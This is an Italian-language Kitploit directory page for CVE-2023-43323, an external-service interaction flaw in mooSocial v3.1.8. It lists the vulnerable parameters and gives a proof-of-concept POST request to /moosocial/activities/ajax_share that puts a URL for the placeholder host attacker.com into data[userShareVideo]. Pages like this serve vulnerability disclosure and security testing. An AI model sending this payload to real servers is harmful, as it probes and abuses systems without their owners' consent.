Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-43323 — mooSocial v3.1.8 è vulnerabile all'interazione con servizi esterni nella funzione di post. | Kitploit
Strumenti/GitHubGitHub/ahrixia/cve-2023-43323
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniAnalisi DNS
GitHubahrixia/cve-2023-43323

CVE-2023-43323

mooSocial v3.1.8 è vulnerabile all'interazione con servizi esterni nella funzione di post.

Vedi Repository
1222 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

mooSocial: Interazione con Servizi Esterni HTTP e DNS (CVE-2023-43323)

mooSocial v3.1.8 è vulnerabile all'interazione con servizi esterni nella funzione post. Quando eseguita, il server invia una richiesta HTTP e DNS a un server esterno.

Parametro vulnerabile: messageText, data[wall_photo], data[userShareVideo] e data[userShareLink]

Exploit - Proof of Concept (POC)

Interazione con Servizi Esterni HTTP e DNS

root@kitploit:~
Payload : http://attacker.com/?null=

Richiesta POST su /moosocial/activities/ajax_share (SOLO DATI DELLA RICHIESTA POST):

root@kitploit:~
[data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http%3A%2F%2Fattacker.com%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]

image

Scarica lo strumento